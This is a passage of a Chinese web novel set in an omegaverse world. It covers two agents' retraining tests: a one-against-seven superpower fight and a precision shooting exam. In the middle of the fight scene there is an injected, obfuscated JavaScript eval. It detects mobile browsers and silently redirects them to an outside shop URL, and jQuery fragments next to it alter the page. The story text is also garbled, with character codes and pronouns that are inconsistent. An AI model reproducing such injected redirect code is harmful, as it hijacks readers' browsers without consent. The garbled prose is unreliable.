第三次。他闭上了眼睛,不靠视觉,只靠听觉和触觉来判断时机。提示音响起的瞬间,他的尾巴几乎是同步开始变形的。
“零点二九秒。”
“平均零点三零秒。”林教官在平板上记录,“比去年慢零点零一秒,但在合格范围内。接下来测刀体稳定性。”
稳定性测试比速度测试更磨人。他需要维持火焰刀的形态,同时承受外界施加的压力——林教官从角落里拿出一根训练用的金属棍,开始有节奏地敲击刀身。每一次敲击,火焰刀都会微微震颤,火焰的颜色和形状也会随之波动。
谢燃握紧刀柄,手腕和肩部的肌肉绷得像石头。他感受着每一次敲击传来的震动,调整握刀的角度和力度,让刀身尽快恢复稳定。
金属棍敲击了三十次。火焰刀没有溃散。
“稳定性评估通过。”林教官放下棍子,“最后一项,维持时长。”
这一项最简单,也最难。不需要任何外界干扰,只需要维持火焰刀的形态,直到力竭。
谢燃握着刀,站在房间中央。火焰在刀身上静静地燃烧,发出轻微的噼啪声。时间一分一秒地过去,他的手臂开始发抖,从指尖到手腕,从手腕到手肘,从手肘到肩膀,颤抖像涟漪一样扩散。
他盯着刀身上的火焰。橙红色的,外焰偏蓝,温度最高的地方在刀尖。他看着那团火,想着纪砚在车上说的话。
“你会在被打倒之前把他们全部放倒。”
手臂抖得更厉害了,但他没有松手。
“一小时二十七分钟十八秒”林教官的声音终于响起,“比去年少了十二秒。综合评估——通过。”
火焰刀化回狐尾,垂在身后。谢燃弯着腰,双手撑在膝盖上,汗水从额头滴下来,在地上洇开一小片深色的印记。
“休息三十分钟,然后去三号训练场。”林教官一边拆他身上的贴片一边说,“第二项内容。”
谢燃直起腰,擦了擦额头上的汗。
“七个人?”
“七个人。”
“全是A2分化A?”
林教官看了他一眼,那眼神里有一丝意外,大概是没想到他已经知道了。
“全是男性,三个近战型,两个控制型,两个综合型。在职工龄最短的三年,最长的九年。他们的档案你可以现在看。”
林教官把平板递过来。屏幕上并排显示着七份简略档案,每份档案包含一张证件照和几行关键数据——姓名、编号、分化等级、主修技能、近三年的考核评级。
谢燃接过来,拇指在屏幕上一行一行地往下滑。
。
谢燃把七份档案从头看到尾,又从尾看到头。然后他把平板还给林教官。
“看完了?”林教官问。
“看完了。”
“有什么想法?”
谢燃想了想,说:“那个戴眼镜的,A11,信息素压制。他的压制范围是十五米,但三号训练场是二十米乘二十米,他如果站在正中间,基本能覆盖全场。”
“所以?”
“所以我得先把他解决掉。”
林教官没有评价,只是在平板上记了一笔。
三号训练场在地下,是一个大约两百平方米的空间,天花板很高,墙壁上覆盖着厚厚的缓冲材料。灯光是冷白色的,把整个空间照得像手术室。场地上画着各种颜色的线,标明了不同的训练区域。
谢燃换好了训练服——黑色的紧身上衣,深灰色的战术裤,脚上是那双战术靴。他站在场地中央,一边嚼着林教官给的能量棒,一边看着对面的七个人。
七个人站成一个松散的弧形,表情各异。寸头的A87在活动手腕,尖下巴的A03在拉伸大腿,戴眼镜的A11双手插兜站得笔直,大眼睛的A24在调试一个挂在耳朵上的小装置——大概是她的声波武器。额头上有一道疤的A40抱着胳膊,头发遮住半张脸的A56低着头,表情最淡的A71站在最边上,目光像一条直线一样钉在谢燃身上。
纪砚站在场地边上,和林教官并排。他没有坐下,也没有靠在墙上,就那么站着,双手自然垂在身侧。
“规则。”林教官的声音通过扩音器传出来,“谢燃一对七人。谢燃可使用A1情绪伪装和A2火焰刀,对手可使用任何非致命技能。目标——谢燃击倒全部对手,或坚持十五分钟不被制服。限时内完成任意一项即算通过。”
“七对一?”A87开口了,声音里带着笑意,“林教官,这是考核他还是欺负他?”
“打完再说。”林教官头都没抬。
谢燃把能量棒的包装纸叠成一个小方块,塞进口袋。他的目光扫过七个人的站位,脑子里在拼一张地图。
A11,信息素压制,站在弧形偏左的位置。他的压制半径十五米,但他没有站在正中间——要么是自信,要么是战术留白。A24,声波干扰,站在A11旁边大约三米处,耳朵上那个装置已经亮起了绿色的小灯。控制型两个人靠在一起,意味着他们可能在练习过配合。
三个近战型——A87、A03、A71——分散在弧形的左、中、右。两个综合型,A40和A56,填补了近战型之间的空隙。
这不是一个标准的包围阵型。这是一个口袋阵。
口袋开口对着谢燃,底部的控制型负责削弱和压制,两侧的近战型和综合型负责收口。一旦谢燃踏入口袋深处,七个人会同时收拢,把他锁死在里面。
谢燃看明白了。他的嘴角微微翘了一下。
“准备好了?”林教官问。
谢燃活动了一下手腕,扭了扭脖子,骨头发出咔咔的轻响。他把尾巴从身后甩到身前,狐尾蓬松,火红的毛发在冷白色灯光下像一团燃烧的火。
“好了。”他说。
“开始。”
话音落下的瞬间,七个人同时动了。不是全部压上——口袋阵不会全部压上。A11往前迈了一步,信息素释放。谢燃立刻感觉到一股压迫感从后颈灌入,像一只无形的手掐住了他的腺体。那是高等级Alpha对低等级的天然压制,不需要接触,不需要媒介,只需要存在于同一个空间里。
A24抬起手,按了一下耳朵上的装置。一道尖锐的声波刺入空气,频率大约在15000Hz左右——人耳能听见的边缘频率,像耳鸣,又像金属刮擦玻璃。声波和A11的信息素压制叠加在一起,形成双重削弱。
然后三个近战型动了。
A87从正面冲过来,速度不快,但每一步都踩得很重。他的技能是力量强化,不需要快,只需要稳。A03从左侧切入,他的速度爆发让他几乎是在瞬间就缩短了和谢燃之间的距离。A71从右侧压上,步幅最大,节奏最稳,每一步落地的声音都精准得像节拍器。
谢燃没有后退。他往左前方迈了一步。这一步踩在A03和A56之间的空隙上,角度刁钻得像一把楔子。A03的速度爆发让他冲得最快,但也让他和后面的人拉开了大约两米的距离。谢燃抓住了这两米。
A1情绪伪装启动。
他的信息素波形在零点几秒内完成了切换。从烈焰威士忌的烈性Alpha波动,变成了——A11的波形。同样的频率,同样的压迫感,但峰值更高,压制力更强。这是A1的高阶应用——不只是模拟某一类性别,而是精确模拟某一个具体的人,并且超越他。
A11的信息素压制瞬间被反噬。他的波形被谢燃复制的更强波形撞了回来,像两股同频的浪撞在一起,更大的那一股会把小的那一股吞掉。A11闷哼一声,捂住了后颈,单膝跪地。
双重削弱的包围圈出现了一个缺口。
谢燃的狐尾在同一时刻变形。不是单刀,是双刀。两把火焰刀在身体两侧展开,橙红色的火焰在冷白色灯光下亮得刺眼。他没有冲向A11补刀,而是借着他刚才踩出的角度,整个人从A03身侧切了过去。A03的速度爆发让他跟上了谢燃的移动轨迹,但谢燃的尾巴——那条没有变成刀的狐尾——猛地甩过去,火焰包裹的尾巴像一条火鞭,抽向他的腰侧。A03侧身闪避,速度爆发让她闪开了,但闪避这个动作本身消耗了她零点几秒的时间。
零点几秒就够了。
谢燃的双刀交叉斩向A56。A56是温度感知与操控型,他的技能让他能精确感知到谢燃刀上火焰的温度分布,并且在理论上可以用自己的技能反向干扰。但她没想到谢燃第一个目标是她。火焰刀的速度比她预判的更快,刀锋还没到,热浪已经扑面而来。A56抬手格挡,手心里凝聚出一团冷雾——那是她的技能,温度操控,可以局部降温。但冷雾遇到火焰刀的瞬间就蒸发了,白色的水汽炸开,遮蔽了她自己的视线。
刀背敲在她的肩窝上。
“出局。”林教官的声音响起。
第一个
剩下六个人的反应极快。A71从右侧补位,神经反射加速让他几乎在A56出局的瞬间就填上了她留下的空隙。他的拳头在谢燃收回双刀的间隙砸过来,速度极快,角度极刁,直取谢燃的肋骨。谢燃没有躲。他用左手的火焰刀硬接了那一拳。刀身震动,火焰晃了一下,但没有散。与此同时,他的右手刀从下往上撩起,切向A71的手臂。
A271收拳,后退半步。
他没有出局,但他失去了连续进攻的节奏。
谢燃借这个空档瞥了一眼A11。戴眼镜的Alpha已经站起来了,脸色发白,但信息素压制正在恢复。他的压制范围是十五米,谢燃刚才的反噬只能短暂打断他,不能彻底废掉他。A24的声波也在调整频率——他从15000Hz往下调,大概在找能让谢燃的腺体产生共振的频段。
不能拖。
谢燃的尾巴重新变形。双刀合一,变回单刀。他蹲下来,左手按在地面上——这是他在曙光学院时期自己琢磨出来的招式,不在标准教材里。火焰从他的手掌下蔓延出去,沿着地面铺开,像一层燃烧的地毯。火焰的温度被他精确控制在刚好让人感到灼热但不会烧伤的程度,但火光的视觉效果极具压迫感。
六个人被迫后退。不是怕受伤,而是生物本能——人类的脚底板看到火会自己往后缩。
包围圈扩大了。
谢燃站起来,火焰重新在手中成型。这次不是单刀,也不是双刀。火焰从他的掌心蔓延到手指,从手指蔓延到小臂,整条右臂都被火焰包裹,像一只燃烧的利爪。这是A2的极限形态——不是刀,而是把整条手臂变成武器。
他冲了出去。
目标是A24。声波控制者必须优先解决。A71试图拦截,神经反射让他比其他人快了至少零点三秒做出反应,他的身体横移过来,挡在谢燃和A24之间。
但谢燃没有直冲。他在距离A71大约两米的位置忽然变向——右脚猛蹬地面,整个人向左横移了将近一米。这个变向的幅度太大,太突然,他的脚踝发出了一声轻微的“咔”,但他没有减速。A71的神经反射再快,也需要零点一秒来重新判断和调整,而谢燃利用的就是这零点一秒。
他从A71的左侧掠过去,燃烧的右臂横扫向A24。A24的眼睛瞪大了,他的声波装置还在调整频率,来不及切换到防御模式。她本能地往后退,但谢燃的速度比她快。火焰包裹的手指停在了她的喉咙前三厘米处。热度让她颈部的汗毛卷曲起来。
“出局。”第二个。
A271从背后攻上来。谢燃没有回头,尾巴猛地甩过去——变成刀,火焰刀从尾巴尖端成型,横斩向身后。A71用手臂格挡,但谢燃的尾巴刀和手中的刀不同,它没有固定的握持角度,可以从任何方向进攻。刀锋绕过他的格挡,刀背敲在他的后腰上。
“出局。”第三个。
剩下四个人。A87,力量强化型。A03,速度爆发型。A40,触手硬化型。A11,信息素压制——他的压制力已经恢复了大约七成,谢燃能感觉到后颈又开始发紧。
四个人不再散开了。他们收紧阵型,A87站在最前面,A03在左侧,A40在右侧,A11在最后。四个人像一面墙,朝谢燃压过来。
谢燃的右臂还在燃烧。但他的呼吸已经很重了。A2的极限形态消耗极大,火焰包裹整条手臂的每一秒,都在从他体内抽取大量的能量。汗水从额头滚下来,滑过眼角,带着咸涩的刺痛。他眨了眨眼,把汗水挤出去。
A87出手了。力量强化型Alpha的一拳,带着破风声砸过来。谢燃没有硬接,他的身体往右侧倾斜,让那一拳擦着肩膀过去。拳风刮过训练服的布料,发出“嘶”的一声。同一时刻,A03从左侧切入,速度爆发让他像一颗子弹,膝盖顶向谢燃的腰侧。
谢燃的尾巴替她挡了。狐尾在瞬间变形成一面小型的火焰盾,接住了那一膝盖。火焰盾震动,火星四溅,但没有碎。A03的膝盖被弹开,她的重心歪了一瞬间。
一瞬间就够了。
谢燃燃烧的右手扣住了A03的手腕。火焰的温度被他瞬间调低,刚好不会烧伤,但足够让她的手腕在高温下本能地松开了握紧的拳头。他借力一带,把A03甩向A87。A87被迫收拳接住同伴,两人的动作同时停顿了半拍。
谢燃的尾巴刀趁机扫过A203的小腿。
“出局。”第四个。
A40动了。他的技能是触手硬化——从他的背后伸出数根由信息素凝聚成的半实体触手,触手的末端硬化成尖刺状,刺向谢燃。这不是近战,是中距离攻击,刚好克制谢燃的火焰刀。
谢燃往后退。不是直线后退,而是绕着场地边缘跑动。A40的触手追着他刺,硬化触手钉在墙壁的缓冲材料上,发出沉闷的“噗噗”声。谢燃在跑动中调整呼吸,同时观察着剩下的三个人——A87、A40、A11。一个近战力量型,一个中距离控制型,一个信息素压制型。三个人形成了远中近三层火力。
他得先解决A11。
A11站在最后方,信息素压制已经完全恢复。谢燃能感觉到那股压迫感越来越强,像一只逐渐收紧的手,掐住他的腺体,限制他的信息素输出。A2火焰刀依靠的是信息素转化,信息素输出受限,火焰的强度和稳定性都会下降。
谢燃右臂上的火焰开始摇晃了。不是主动摇晃,而是像风中的蜡烛,明灭不定。
A87和A40同时压了上来。一拳,三根触手,从三个角度封死了谢燃的退路。A11的信息素压制在此时达到峰值——他释放了全部压制力,十五米半径内,所有低于他等级的Alpha都会被迫低头。
谢燃没有低头。
A1情绪伪装再次启动。这次他模拟的不是A11的波形,而是一个根本不存在的波形。那是他在曙光学院时期偶然发现的一个频率——不是Alpha,不是Beta,不是Omega,而是一种介于三者之间的、无法被归类的信息素波形。这个波形没有任何压制力,也没有任何被压制的特性。它像一个空白的频道,信息素压制的浪潮打过来,直接穿过去,什么都没撞到。
A11的压制落空了。
谢燃从三个角度的围攻中窜了出去。不是跑,是窜——他的身体压到几乎和地面平行,右脚猛蹬墙壁借力,整个人像一颗出膛的炮弹,直射向A11。火焰重新在右臂上熊熊燃烧,比之前更亮,更烫。
A11的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536120|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛在镜片后面瞪大了。他想要撤,但谢燃太快了。燃烧的右手停在他面前,五根手指张开,火焰在他脸前三厘米处炸开一朵橙红色的火花。热度让他的镜片蒙上了一层雾气。
“出局。”第五个。
A40的触手从背后刺过来。谢燃没有转身,尾巴变成的火焰刀在身后横扫,斩断了三根触手。硬化的触手碎片落在地上,化成信息素消散在空气里。A40闷哼一声,触手缩回去,重新凝聚。
A87从正面冲过来。他没有用拳头,而是整个人撞过来,像一辆人形坦克。力量强化型Alpha的全力冲撞,谢燃避无可避。
他没有避。
他迎面撞了上去。
两个人的身体在空中撞在一起,发出沉闷的响声。A87的力量优势让他在撞击中占据了上风,谢燃被撞得往后飞出去,后背砸在墙壁的缓冲材料上,肺里的空气被挤压出一声短促的“呵”。但他的手没有松开——在撞击的瞬间,他的左手扣住了A87的腰带,右手抓住了他的肩膀。
两个人一起撞在墙上。
谢燃的后背贴着缓冲材料,A87压在他身上。这个距离太近了,近到A87的力量优势无法完全发挥。谢燃的膝盖顶上来,顶在A87的腹部,同时尾巴变成的火焰刀从侧面架在了他的脖子上。
“出局。”第六个。
谢燃松开手,A87从他身上滚下去。他撑着墙壁站起来,膝盖有点发软,右臂上的火焰已经熄了大半,只剩几缕火苗在指尖跳动。
场上只剩A40一个人了。
A240站在场地中央,触手在身后展开,像一只巨大的蜘蛛。他看着谢燃,没有动。
谢燃也没有动。他靠在墙上,大口大口地喘气。汗水从发梢滴下来,落在地面上。他的右臂垂在身侧,火焰已经完全熄灭了。狐尾拖在地上,毛发被汗水打湿,红色变得暗淡。
两个人对峙了大约五秒。
然后谢燃笑了一下。
“你确定你还打吗?”他问,声音沙哑得像砂纸刮过木板。
A40沉默了两秒。他的触手慢慢收回去,消失在背后。
“我认输。”他说。
场地安静了。谢燃靠着墙,慢慢滑坐到地上。他的后背贴着冰凉的缓冲材料,膝盖弯曲,双手搭在膝盖上,头仰起来,后脑勺抵着墙壁。眼睛闭着,胸口剧烈地起伏。
“七分钟。”林教官的声音响起,“比上次快了将近三分钟。”
谢燃没睁眼,只是竖起一根大拇指。然后那根大拇指慢慢弯下去,整只手垂落回膝盖上。
脚步声走过来。不是林教官的脚步——她的脚步是硬底靴的声音,每一步都干脆利落。这个脚步更轻,更稳,几乎听不到声音。
一只手递过来一瓶水。冰的,瓶身上凝结着一层水珠。
谢燃睁开一只眼,看到纪砚蹲在他面前。他的表情还是那样,清冷得像冬天早晨的竹子,但眼神里有一层很淡的光。
“你脚踝怎么回事。”他说。不是问句。
谢燃低头看了看自己的右脚脚踝。变向的时候那声“咔”他记得,但当时肾上腺素压着,没觉得疼。现在疼了。脚踝外侧肿起来一小块,训练服的裤腿被撑得有点紧。
“没事。”谢燃接过水瓶,拧开盖子灌了一大口。水从嘴角溢出来,顺着下巴淌下去,混进衣领里。
纪砚没说话。他伸手握住谢燃的右脚脚踝,动作很轻,但很稳。拇指按在肿胀的位置,轻轻压了一下。谢燃嘶了一声,肩膀缩了缩。
“韧带拉伤。”纪砚说,“不严重,但要冰敷。”
“你是医生吗?”
“不是。”
“那你——”
“在曙光学院学过战地急救。你也学过。”
“我忘了。”谢燃诚实地说。
纪砚看了他一眼,松开手,站起来。他没有再说脚踝的事,但谢燃知道这事没完——回去的路上他肯定会经过某个二十四小时营业的药店,然后纪砚会下车,再上来的时候手里多一袋冰袋和一盒消炎药。
谢燃又灌了一口水,然后把水瓶搁在地上,用手背擦了擦嘴角。他看向林教官。
“通过了吗?”
林教官低头在平板上点了几下,然后抬起头。
“通过。A1稳定时长三十分钟零七秒,比去年提升十九秒。A2转换速度零点三零秒,比去年慢零点零一秒,但在合格范围内。刀体稳定性和维持时长均达标。实战对抗七分钟击倒六人,逼降一人。”
她顿了顿,把平板收起来。
“数据会录入系统,有效期三个月。三个月后再来。”
谢燃点了点头,然后撑着墙站起来。右脚落地的时候疼了一下,但他脸上什么表情都没有。
他走到场地中央,弯腰捡起掉在地上的能量棒包装纸,塞回口袋里。然后他转过身,看向场地边上那些被他“击倒”的七个人。
A87在揉肩膀,A03在活动脚踝,A11的眼镜摘下来在擦雾气,A24在检查耳朵上的声波装置有没有被火焰的热度烤坏。A40靠在墙上喝水,A56坐在地上,A71站着,双手抱胸,表情还是那样,淡淡的。
谢燃的目光扫过他们,最后落在A271身上。
那个神经反射加速的Alpha。反应速度零点一一秒,近三年格斗对抗胜率百分之九十四。刚才的对战中,他是唯一一个在被击倒前连续防住了谢燃三次进攻的人。如果不是那个极限变向,谢燃可能真的会被他拖住。
谢燃看着他,嘴角慢慢弯起来。那不是友善的微笑——是那种打赢了之后还要再踩一脚的笑。
“A71。”谢燃说。
A71抬起眼皮看他。
“你的反应速度零点一一秒。”谢燃说,把水瓶从地上捡起来,拧开盖子又喝了一口,“确实快。但你知道吗——”
他把水瓶盖子拧回去,发出一声清脆的塑料咬合声。
“再快的反应,也防不住一个不要命的。”
A71看着他,沉默了两秒。然后他的嘴角微微动了动,不知道是笑还是什么。
“下次。”他说。就两个字。
谢燃笑了一声,转身往门口走。右脚脚踝的疼痛让他的步态有一点点不自然,但如果不仔细看,根本看不出来。
纪砚已经在门口等他了。他靠在门框上,手里拿着谢燃的运动包。
“你的包。”他把包递过来。
“谢了。”谢燃接过去,挎在肩上。
两人并肩走出三号训练场。走廊很长,冷白色的灯光从头顶照下来,把他们的影子拉得很长,交叠在一起。身后传来那七个人收拾东西的声音,还有林教官在平板上敲字的嗒嗒声。
谢燃走得很慢。不是因为脚踝——是因为他在笑。一种很轻的、压不住的笑,从喉咙里漏出来,像碳酸饮料拧开瓶盖时冒出的气泡。
“笑什么。”纪砚问。
“七个。”谢燃说,伸出一只手,张开五根手指,又翻过来,比了个七,“七个A2分化A。”
“嗯。”
“全部放倒。”
“嗯。”
“你还真说对了。”
纪砚没有接话。但他的脚步放慢了一点,和谢燃保持同一个节奏。两个人的步频一模一样,鞋底落在水泥地面上,发出重叠的、几乎分不出彼此的声音。
走廊尽头是一扇门,门外是基地的操场。银色的星轨旗在晨风里微微飘动,阳光已经完全升起来了,把旗杆的影子投在人工草皮上,又直又长。
谢燃推开门。阳光迎面照过来,他眯起眼睛,深深吸了一口气。空气里消毒水和机油的味道被阳光一晒,变得没那么冷了。
“纪砚。”他说。
“嗯。”
“下次复训是三个月后对吧。”
“嗯。”
“你说韩队会不会又找八个?”
纪砚想了想。
“可能会找十个。”
谢燃愣了一下,然后笑出声来。笑声在空旷的操场上散开,被晨风带出去很远。
“十个就十个。”他说。
他把运动包往肩上提了提,迈步走进阳光里。右脚脚踝隐隐作痛,但走路的姿势看起来和平时一模一样——吊儿郎当的,不正经的,像一团正在燃烧的火。
9. 10.9环
纪砚的射击考核和谢燃的信息素采样是同时开始的。
林教官把谢燃按进那把像牙科诊疗椅的东西里时,另一个人走进信息采样室,对纪砚点了点头。纪砚认得他——老方,基地射击场的负责人,在ASI干了快二十年,带过的特工比纪砚见过的都多。老方不爱说话,不爱笑,唯一的爱好是擦枪,据说他办公室的抽屉里常年备着三种不同牌子的枪油。
“走吧。”老方说。
纪砚看了谢燃一眼。谢燃正闭着眼睛,太阳穴、手腕和后颈贴满了贴片,仪器屏幕上的红色波形正在慢慢转成绿色。他看上去很安静,但纪砚知道他在较劲——A1情绪伪装是最磨人的项目之一,把Alpha的信息素硬拗成Omega的波形,每一秒都在和水流对抗。
他收回视线,跟着老方走出去。
射击场在地面,和信息采样室隔了两条走廊和一段楼梯。基地的地上建筑不多,射击场是最大的一栋——长条形的灰色平房,外面看起来像个普通的仓库,里面被隔成二十个独立靶道。靶道的尽头是电子靶,不用人工报靶,每发子弹的落点会实时显示在旁边的小屏幕上,精确到毫米。
老方推开最里面那条靶道的门。这条靶道比其他的宽一些,是专门用来做考核的,两侧的隔音墙更厚,灯光更亮,靶子可以自由设定距离——从十米到一百米,每隔五米一档。
“规则。”老方走到操作台前,手指在屏幕上点了几下,“三十五发,分七组,每组五发。站立无依托,靶距七十五米。环数要求——平均九点五环以上算通过。”
纪砚没说话。他把外套脱了,叠好放在靶道入口的长凳上。里面穿的是一件黑色的短袖,领口洗得有点发白,露出锁骨和肩胛骨的线条。不是壮的那种,是精瘦——骨架宽,肉紧,像一把收在鞘里的刀。
他从枪柜里取出配枪。□□17,编号A232-01,握把上有一道浅浅的划痕,是几年前一次任务里被弹片擦的。枪保养得很好,枪管里有淡淡的枪油味,套筒拉起来顺滑得像在切黄油。他检查了弹匣、枪膛、瞄准具,然后把枪放在操作台上,开始装弹。
三十五发子弹,七只弹匣,每只五发。他的手很稳,拇指把子弹一颗一颗按进弹匣,金属碰撞的声音清脆而有节奏,像某种节拍器。老方靠在操作台边上看着他装弹,什么都没说。
装完最后一颗,纪砚把七只弹匣在操作台上排成一排。他拿起第一只,推进枪里,套筒复位,发出一声沉闷的“咔”。
“准备好了?”老方问。
纪砚点了点头。
他站到射击线上。脚与肩同宽,左脚往前挪了半掌的距离,重心微微前倾。双手握枪,右手握握把,左手包住右手,拇指交叠。枪口指向地面,食指搭在扳机护圈外侧。
灯光从头顶照下来,把他的影子投在地上,轮廓清晰,纹丝不动。
“第一组,开始。”
他抬起枪。动作不快,但没有任何多余的部分——从低姿到瞄准,整个轨迹是一条最短的直线。准星和照门对齐,靶心在准星上方,三点一线。
第一枪响了。
枪声被隔音墙吸收了大半,剩下的部分在靶道里来回弹了几次就消散了。肩膀几乎没有动——不是刻意控制,而是七十五米靶距的后坐力对他来说太小了。□□17的后坐力本来就不大,在他手里更是被压到了最低,枪口上跳的幅度不超过两厘米,几乎是子弹出膛的瞬间就回到了原位。
旁边的屏幕上跳出一个数字:10.4。
老方看了一眼屏幕,在平板上记了一笔。
纪砚没有停顿。第二枪,第三枪,第四枪,第五枪。五发子弹的间隔完全一致,像五下心跳。枪声和枪声之间的沉默一样长,不多不少。
屏幕上的数字依次跳出来:10.6,10.3,10.5,10.4。
第一组平均10.44环。
纪砚退出空弹匣,换上第二只。整个过程不到两秒——左手按弹匣卡榫,空弹匣掉进右手掌心,放到操作台上,拿新弹匣,推进去,套筒复位。动作流畅得不像是在换弹,像是在做一个做了几千遍的手势。
老方的眼皮动了动。
“第二组,开始。”
第二组。10.5,10.7,10.4,10.5,10.6。平均10.54环。
第三组。10.6,10.4,10.7,10.5,10.5。平均10.54环。
纪砚放下枪,活动了一下手指。不是累了——他的手很稳,呼吸很平,心率大概比静息时高了不到十下。他只是习惯性地在中间做一次调整,像琴师在两支曲子之间重新调弦。
他的目光穿过靶道的灯光,落在七十五米外的靶纸上。电子靶会把弹着点放大显示在屏幕上,但他不看屏幕,只看靶子。七十五米的距离,靶心在他的视线里只是一个小黑点,十环的区域比一枚一元硬币大不了多少。但他能看见——不是看见具体的环线,而是感觉到。那是一种在曙光学院被几千发子弹磨出来的直觉,像木匠摸到木纹就知道该从哪里下刀。
老方站在旁边,平板拿在手里,但笔悬在屏幕上没动。他带了二十年射击场,见过的神枪手两只手数不过来。有人靠天赋,眼睛像尺子,手像云台。有人靠苦练,虎口的茧子厚得能磨砂纸。有人靠信息素,Alpha的动态视力和神经反应速度天生就比Beta和Omega高一个档次。
但纪砚不太一样。
老方记得纪砚第一次来射击场的样子。那时候他大概十二岁,刚从熔炉被救出来不到一年,瘦得像一根火柴棍,手腕细得让人怀疑能不能握住枪。老方给他一把点22,后坐力小得像玩具枪,他开了五枪,全部脱靶。不是偏左偏右的问题,是子弹根本不知道飞到哪去了。
老方当时想,这孩子不是这块料。
然后纪砚又装了五发子弹。没有问为什么脱靶,没有看老方,没有看任何人。他把枪举起来,瞄了大概三十秒——对于一个十二岁的孩子来说,举一把手枪三十秒,手臂早该抖了,但他没抖。然后他开了五枪。全部上靶,三发七环,两发八环。
老方问他,怎么做到的。
纪砚说,刚才没找到靶心在哪。
就这一句。不是抱怨枪不好,不是抱怨光线不好,不是抱怨自己手小。只是没找到靶心,所以找了找,找到了,就打中了。
老方从那天起就知道,这孩子以后会是一个很麻烦的人。不是麻烦别人,是麻烦他自己——他会在找到靶心之前一直找,不管花多久,不管多难。
“第四组。”老方说。
纪砚重新抬起枪。
第四组打出第一个10.8的时候,老方的眉毛动了动。第二个10.7跳出来,他把平板放下,双手抱胸,靠在墙上,眼睛一眨不眨地盯着屏幕。
第三枪,10.9。
第四枪,10.8。
第五枪,10.9。
第四组平均10.82环。
靶道里很安静。隔音墙把外面的声音全部挡掉了,只剩下空调的低频嗡鸣和纪砚换弹匣的声音。他把第五只弹匣推进枪里,拇指按下去的那一刻,弹匣卡榫发出一声很轻的“嗒”。
他的呼吸从头到尾没有变过。不是刻意控制的那种平稳——是根本不需要控制。射击对他来说不是一件需要调动情绪的事,不像谢燃,火焰刀出鞘的时候整个人都会烧起来。纪砚开枪的时候是冷的,从指尖到肩膀,从呼吸到心跳,所有的生理指标都被压在一条几乎水平的线上。
这不是天赋。这是熔炉给他的东西。
熔炉的A区实验体,被注射过一种叫做“稳态剂”的药物。药物的原始目的是抑制幼崽的情绪波动,让他们更容易接受行为矫正——不哭,不闹,不反抗。纪砚从四岁开始被注射这种药物,每周一次,持续了将近三年。药物在他的神经系统里留下了一道痕迹,像河流改道后留下的旧河床。即使后来停药了,即使药物成分早就代谢干净了,那道痕迹还在。
他的情绪永远比正常人低一度。不是没有,是低一度。
高兴的时候嘴角只动一下。愤怒的时候眼神只冷一分。害怕的时候心跳只快一拍。
谢燃说这是“出厂设置调错了”。纪砚觉得他说得对。
他把这道痕迹变成了武器。
第五组。10.7,10.8,10.6,10.9,10.7。平均10.74环。
打到第六组的时候,纪砚的手指微微顿了一下。不是手抖——是他在某个瞬间感觉到了一种很模糊的波动,从后颈传来,像水面被投进一颗小石子。
他和谢燃的信息素在曙光学院时期被做过关联校准——那是ASI的标配程序,搭档之间建立信息素感知链路,用于战场上的无声协同。链路很弱,平时几乎感觉不到,只在对方信息素剧烈波动的时候才会有反应。
他感觉到了谢燃。
不是具体的波形,不是具体的情绪,只是一个模糊的信号——谢燃正在较劲。他的腺体在承受压力,信息素在强行改变形态,像一团被攥紧的火。
纪砚的手指在扳机上停了一瞬。
然后他扣下去。
10.7。
他退出空弹匣,换上最后一只。动作比之前快了一点——不是赶时间,是有人在等他。
老方注意到了这个变化。他没说什么,只是在平板上点了一下,把最后两组的时间戳调出来,看了一眼间隔。
第六组平均10.72环。
“最后一组。”老方说。
纪砚抬起枪。三十五发子弹已经打了三十发,他的手和第一发时一样稳。枪口的指向没有丝毫偏移,准星和照门的对齐精确得像用游标卡尺量过。
第一枪。10.8。
第二枪。10.9。
第三枪。10.9。
第四枪。10.8。
他的后颈又跳了一下。这次更清晰——谢燃的信息素在短时间内完成了多次切换,从压制到反压制,从Alpha到某种他说不上来的波形。链路传来的不是具体的战术信息,只是一种温度。谢燃在燃烧。
第五枪。
纪砚扣下扳机。枪声在靶道里炸开,然后迅速被隔音墙吃掉。
屏幕上跳出一个数字:10.9。
最后一组平均10.86环。
三十五发子弹,全中十环。总平均10.67环。
老方把平板转过来,让纪砚看屏幕。屏幕上是一张弹着点分布图,三十五个点密密麻麻地挤在靶心区域,最远的一个距离绝对中心点不超过八毫米。
“三十五发全中十环。”老方说,声音平平的,“比上次多了两发十点九。”
纪砚把枪放到操作台上,退出弹匣,拉套筒,检查枪膛,然后把枪放回枪柜里。他的动作和来时一模一样——不快,不慢,每一步都做到位,没有任何多余。
“数据录入系统了。”老方说,“有效期三个月。”
纪砚点了点头,拿起长凳上的外套。他穿上外套的时候,后颈又跳了一下。这次不是谢燃在燃烧——是谢燃的火焰在减弱。不是熄灭,是力竭。像一团烧了很久的火,燃料快耗尽了,但还在撑。
他把拉链拉上。
“老方。”他说。
老方抬起头。
“三号训练场在哪。”
老方看了他一眼,那眼神里有一种很淡的、被时间磨得很钝的东西。不是意外,不是好奇,只是一种确认——确认自己二十年前没看错人。
“地下。走廊到底左拐,下两层楼梯。”
纪砚转身走了。
他穿过走廊,经过信息采样室的时候往里面看了一眼。那把椅子空着,贴片垂在扶手上,仪器屏幕已经黑了。谢燃不在了。
他继续走。下楼梯的时候,他的脚步和平常一样,鞋底落在台阶上,声音很轻,很稳。地下二层的空气比上面凉一些,带着混凝土和缓冲材料的气味。
三号训练场的门关着。隔着门,他能听见里面的声音——不是具体的声音,是一种复合的震动。脚步声,撞击声,火焰燃烧的噼啪声,还有信息素压制时那种听不见但能感觉到的压迫感。这些声音混在一起,从门缝里渗出来,像远处在打雷。
他靠在门边的墙上,没有进去。不是不能进——考核期间非相关人员不得入场。他只是靠在墙上,双手自然垂在身侧,听着里面的声音。
A1情绪伪装启动的声音他听不见,但他能感觉到——后颈的链路传来一阵短促的波动,像有人在他脑子里拨了一根弦。然后是一个人的闷哼,接着是林教官的声音:“出局。”
第一个。
